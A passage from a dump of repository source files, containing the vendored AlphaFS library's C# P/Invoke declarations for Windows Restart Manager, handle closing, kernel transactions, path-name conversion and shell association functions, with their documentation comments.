internal enum RM_APP_TYPE\n      {\n         RmUnknownApp = 0,\n         RmMainWindow = 1,\n         RmOtherWindow = 2,\n         RmService = 3,\n         RmExplorer = 4,\n         RmConsole = 5,\n         RmCritical = 1000\n      }\n\n\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct RM_UNIQUE_PROCESS\n      {\n         [MarshalAs(UnmanagedType.I4)] public readonly int dwProcessId;\n         [MarshalAs(UnmanagedType.Struct)] public readonly FILETIME ProcessStartTime;\n      }\n\n\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct RM_PROCESS_INFO\n      {\n         [MarshalAs(UnmanagedType.Struct)] public RM_UNIQUE_PROCESS Process;\n         [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_APP_NAME + 1)] public readonly string strAppName;\n         [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_SVC_NAME + 1)] public readonly string strServiceShortName;\n         [MarshalAs(UnmanagedType.I4)] public readonly RM_APP_TYPE ApplicationType;\n         [MarshalAs(UnmanagedType.U4)] public readonly uint AppStatus;\n         [MarshalAs(UnmanagedType.U4)] public readonly uint TSSessionId;\n         [MarshalAs(UnmanagedType.Bool)] public readonly bool bRestartable;\n      }\n\n\n      /// <summary>Ends the Restart Manager session. This function should be called by the primary installer that has previously started the session by calling the RmStartSession function.</summary>\n      /// <para>The RmEndSession function can be called by a secondary installer that is joined to the session once no more resources need to be registered by the secondary installer.</para>\n      /// <para>&#160;</para>\n      /// <returns>This is the most recent error received. The function can return one of the system error codes that are defined in Winerror.h.</returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Minimum supported client: Windows Vista [desktop apps only]</para>\n      /// <para>Minimum supported server: Windows Server 2008 [desktop apps only]</para>\n      /// </remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"rstrtmgr.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.I4)]\n      internal static extern int RmEndSession([MarshalAs(UnmanagedType.U4)] uint pSessionHandle);\n\n\n      /// <summary>Gets a list of all applications and services that are currently using resources that have been registered with the Restart Manager session.</summary>\n      /// <para>&#160;</para>\n      /// <returns>This is the most recent error received. The function can return one of the system error codes that are defined in Winerror.h.</returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Minimum supported client: Windows Vista [desktop apps only]</para>\n      /// <para>Minimum supported server: Windows Server 2008 [desktop apps only]</para>\n      /// </remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"rstrtmgr.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.I4)]\n      internal static extern int RmGetList([MarshalAs(UnmanagedType.U4)] uint dwSessionHandle, [MarshalAs(UnmanagedType.U4)] out uint pnProcInfoNeeded, [MarshalAs(UnmanagedType.U4)] ref uint pnProcInfo, [MarshalAs(UnmanagedType.LPArray)] [In, Out] RM_PROCESS_INFO[] rgAffectedApps, [MarshalAs(UnmanagedType.U4)] ref uint lpdwRebootReasons);\n\n\n      /// <summary>Registers resources to a Restart Manager session. The Restart Manager uses the list of resources registered with the session to determine which applications and services must be shut down and restarted.</summary>\n      /// <para>Resources can be identified by filenames, service short names, or RM_UNIQUE_PROCESS structures that describe running applications.</para>\n      /// <para>The RmRegisterResources function can be used by a primary or secondary installer.</para>\n      /// <para>&#160;</para>\n      /// <returns>This is the most recent error received. The function can return one of the system error codes that are defined in Winerror.h.</returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Minimum supported client: Windows Vista [desktop apps only]</para>\n      /// <para>Minimum supported server: Windows Server 2008 [desktop apps only]</para>\n      /// </remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"rstrtmgr.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.I4)]\n      internal static extern int RmRegisterResources([MarshalAs(UnmanagedType.U4)] uint pSessionHandle, [MarshalAs(UnmanagedType.U4)] uint nFiles, [MarshalAs(UnmanagedType.LPArray)] string[] rgsFilenames, [MarshalAs(UnmanagedType.U4)] uint nApplications, [In] RM_UNIQUE_PROCESS[] rgApplications, [MarshalAs(UnmanagedType.U4)] uint nServices, [MarshalAs(UnmanagedType.LPArray)] string[] rgsServiceNames);\n\n\n      /// <summary>Starts a new Restart Manager session. A maximum of 64 Restart Manager sessions per user session can be open on the system at the same time.</summary>\n      /// <para>When this function starts a session, it returns a session handle and session key that can be used in subsequent calls to the Restart Manager API.</para>\n      /// <para>&#160;</para>\n      /// <returns>This is the most recent error received. The function can return one of the system error codes that are defined in Winerror.h.</returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Minimum supported client: Windows Vista [desktop apps only]</para>\n      /// <para>Minimum supported server: Windows Server 2008 [desktop apps only]</para>\n      /// </remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"rstrtmgr.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.I4)]\n      internal static extern int RmStartSession([MarshalAs(UnmanagedType.U4)] out uint pSessionHandle, [MarshalAs(UnmanagedType.I4)] int dwSessionFlags, [MarshalAs(UnmanagedType.LPWStr)] string strSessionKey);\n      \n      #endregion // Restart Manager\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.Handles.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Closes an open object handle.</summary>\n      /// <remarks>\n      ///   <para>The CloseHandle function closes handles to the following objects:</para>\n      ///   <para>Access token, Communications device, Console input, Console screen buffer, Event, File, File mapping, I/O completion port,\n      ///   Job, Mailslot, Memory resource notification, Mutex, Named pipe, Pipe, Process, Semaphore, Thread, Transaction, Waitable\n      ///   timer.</para>\n      ///   <para>SetLastError is set to <c>false</c>.</para>\n      ///   <para>Minimum supported client: Windows 2000 Professional [desktop apps | Windows Store apps]</para>\n      ///   <para>Minimum supported server: Windows 2000 Server [desktop apps | Windows Store apps]</para>\n      /// </remarks>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      ///   <para>If the application is running under a debugger, the function will throw an exception if it receives either a handle value\n      ///   that is not valid or a pseudo-handle value.This can happen if you close a handle twice, or if you call CloseHandle on a handle\n      ///   returned by the FindFirstFile function instead of calling the FindClose function.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool CloseHandle(IntPtr hObject);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.KernelTransactions.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>\n      ///   Creates a new transaction object.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Use the <see cref=\"CloseHandle\"/> function to close the transaction handle. If the last transaction handle is closed\n      ///   beforea client calls the CommitTransaction function with the transaction handle, then KTM rolls back the transaction.</para>\n      ///   <para>Minimum supported client: Windows Vista</para>\n      ///   <para>Minimum supported server:Windows Server 2008</para>\n      /// </remarks>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is a handle to the transaction.</para>\n      ///   <para>If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call the GetLastError\n      ///   function.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"ktmw32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeKernelTransactionHandle CreateTransaction([MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpTransactionAttributes, IntPtr uow, [MarshalAs(UnmanagedType.U4)] uint createOptions, [MarshalAs(UnmanagedType.U4)] uint isolationLevel, [MarshalAs(UnmanagedType.U4)] uint isolationFlags, [MarshalAs(UnmanagedType.U4)] int timeout, [MarshalAs(UnmanagedType.LPWStr)] string description);\n\n      /// <summary>Requests that the specified transaction be committed.</summary>\n      /// <remarks>\n      ///   <para>You can commit any transaction handle that has been opened or created using the TRANSACTION_COMMIT permission; any\n      ///   application can commit a transaction, not just the creator.</para>\n      ///   <para>This function can only be called if the transaction is still active, not prepared, pre-prepared, or rolled back.</para>\n      ///   <para>Minimum supported client: Windows Vista</para>\n      ///   <para>Minimum supported server:Windows Server 2008</para>\n      /// </remarks>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is 0 (zero). To get extended error information, call the GetLastError function.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"ktmw32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool CommitTransaction(SafeHandle hTrans);\n\n      /// <summary>\n      ///   Requests that the specified transaction be rolled back. This function is synchronous.      \n      /// </summary>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call the GetLastError function. </para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"ktmw32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool RollbackTransaction(SafeHandle hTrans);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.PathManagement.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Retrieves the full path and file name of the specified file or directory.</summary>\n      /// <returns>If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.</returns>\n      /// <remarks>The GetFullPathName function is not recommended for multithreaded applications or shared library code.</remarks>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetFullPathNameW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetFullPathName([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] uint nBufferLength, StringBuilder lpBuffer, IntPtr lpFilePart);\n\n      /// <summary>Retrieves the full path and file name of the specified file or directory as a transacted operation.</summary>\n      /// <returns>If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.</returns>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetFullPathNameTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetFullPathNameTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] uint nBufferLength, StringBuilder lpBuffer, IntPtr lpFilePart, SafeHandle hTransaction);\n\n      /// <summary>Converts the specified path to its long form.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetLongPathNameW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetLongPathName([MarshalAs(UnmanagedType.LPWStr)] string lpszShortPath, StringBuilder lpszLongPath, [MarshalAs(UnmanagedType.U4)] uint cchBuffer);\n\n      /// <summary>Converts the specified path to its long form as a transacted operation.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetLongPathNameTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetLongPathNameTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpszShortPath, StringBuilder lpszLongPath, [MarshalAs(UnmanagedType.U4)] uint cchBuffer, SafeHandle hTransaction);\n\n      /// <summary>Retrieves the short path form of the specified path.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetShortPathNameW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetShortPathName([MarshalAs(UnmanagedType.LPWStr)] string lpszLongPath, StringBuilder lpszShortPath, [MarshalAs(UnmanagedType.U4)] uint cchBuffer);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.Shell32.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      #region AssocXxx\n\n      /// <summary>Returns a pointer to an IQueryAssociations object.</summary>\n      /// <returns>If this function succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code.</returns>\n      /// <remarks>Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows 2000 Server [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"shlwapi.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint AssocCreate(Guid clsid, ref Guid riid, [MarshalAs(UnmanagedType.Interface)] out IQueryAssociations ppv);\n\n      /// <summary>Searches for and retrieves a file or protocol association-related string from the registry.</summary>\n      /// <returns>Return value Type: HRESULT. Returns a standard COM error value, including the following: S_OK, E_POINTER and S_FALSE.</returns>\n      /// <remarks>Minimum supported client: Windows 2000 Professional</remarks>\n      /// <remarks>Minimum supported server: Windows 2000 Server</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"shlwapi.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"AssocQueryStringW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint AssocQueryString(Shell32.AssociationAttributes flags, Shell32.AssociationString str, [MarshalAs(UnmanagedType.LPWStr)] string pszAssoc, [MarshalAs(UnmanagedType.LPWStr)] string pszExtra, StringBuilder pszOut, [MarshalAs(UnmanagedType.U4)] out uint pcchOut);\n\n\n      #region IQueryAssociations\n\n      internal static readonly Guid ClsidQueryAssociations = new Guid(\"A07034FD-6CAA-4954-AC3F-97A27216F98A\");\n      internal const string QueryAssociationsGuid = \"C46CA590-3C3F-11D2-BEE6-0000F805CA57\";\n\n      /// <summary>Exposes methods that simplify the process of retrieving information stored in the registry in association with defining a file type or protocol and associating it with an application.</summary>\n      [Guid(QueryAssociationsGuid), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]\n      [SuppressUnmanagedCodeSecurity]\n      internal interface IQueryAssociations\n      {\n         /// <summary>Initializes the IQueryAssociations interface and sets the root key to the appropriate ProgID.</summary>\n         /// <returns>If this method succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code.</returns>\n         /// <remarks>Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only]</remarks>\n         /// <remarks>Minimum supported server: Windows 2000 Server [desktop apps only]</remarks>\n         void Init(Shell32.AssociationAttributes flags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssoc, IntPtr hkProgid, IntPtr hwnd);\n\n\n         /// <summary>Searches for and retrieves a file or protocol association-related string from the registry.</summary>\n         /// <returns>A standard COM error value, including the following: S_OK, E_POINTER, S_FALSE</returns>\n         /// <remarks>Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only]</remarks>\n         /// <remarks>Minimum supported server: Windows 2000 Server [desktop apps only]</remarks>\n         void GetString(Shell32.AssociationAttributes flags, Shell32.AssociationString str, [MarshalAs(UnmanagedType.LPWStr)] string pwszExtra, StringBuilder pwszOut, [MarshalAs(UnmanagedType.I4)] out int pcchOut);\n      }\n\n      #endregion // IQueryAssociations\n\n      #endregion // AssocXxx\n\n\n      #region Path\n\n      /// <summary>Determines whether a path to a file system object such as a file or folder is valid.</summary>\n      /// <returns><c>true</c> if the file exists; otherwise, <c>false</c>. Call GetLastError for extended error information.</returns>\n      /// <remarks>\n      /// This function tests the validity of the path.\n      /// A path specified by Universal Naming Convention (UNC) is limited to a file only; that is, \\\\server\\share\\file is permitted.\n      /// A network share path to a server or server share is not permitted; that is, \\\\server or \\\\server\\share.\n      /// This function returns FALSE if a mounted remote drive is out of service.\n      /// </remarks>\n      /// <remarks>Minimum supported client: Windows 2000 Professional</remarks>\n      /// <remarks>Minimum supported server: Windows 2000 Server</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"Shlwapi.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"PathFileExistsW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool PathFileExists([MarshalAs(UnmanagedType.LPWStr)] string pszPath);\n\n\n      /// <summary>Converts a file URL to a Microsoft MS-DOS path.</summary>\n      /// <returns>Type: HRESULT\n      /// If this function succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows 2000 Server [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"shlwapi.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"PathCreateFromUrlW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint PathCreateFromUrl([MarshalAs(UnmanagedType.LPWStr)] string pszUrl, StringBuilder pszPath, [MarshalAs(UnmanagedType.U4)] ref uint pcchPath, [MarshalAs(UnmanagedType.U4)] uint dwFlags);\n\n\n      /// <summary>Creates a path from a file URL.</summary>\n      /// <returns>Type: HRESULT\n      /// If this function succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"shlwapi.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint PathCreateFromUrlAlloc([MarshalAs(UnmanagedType.LPWStr)] string pszIn, out StringBuilder pszPath, [MarshalAs(UnmanagedType.U4)] uint dwFlags);\n\n\n      /// <summary>Converts a Microsoft MS-DOS path to a canonicalized URL.</summary>\n      /// <returns>Type: HRESULT\n      /// Returns S_FALSE if pszPath is already in URL format. In this case, pszPath will simply be copied to pszUrl.\n      /// Otherwise, it returns S_OK if successful or a standard COM error value if not.\n      /// </returns>\n      /// <remarks>\n      /// UrlCreateFromPath does not support extended paths. These are paths that include the extended-length path prefix \"\\\\?\\\".\n      /// </remarks>\n      /// <remarks>Minimum supported client: Windows 2000 Professional, Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows 2000 Server [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      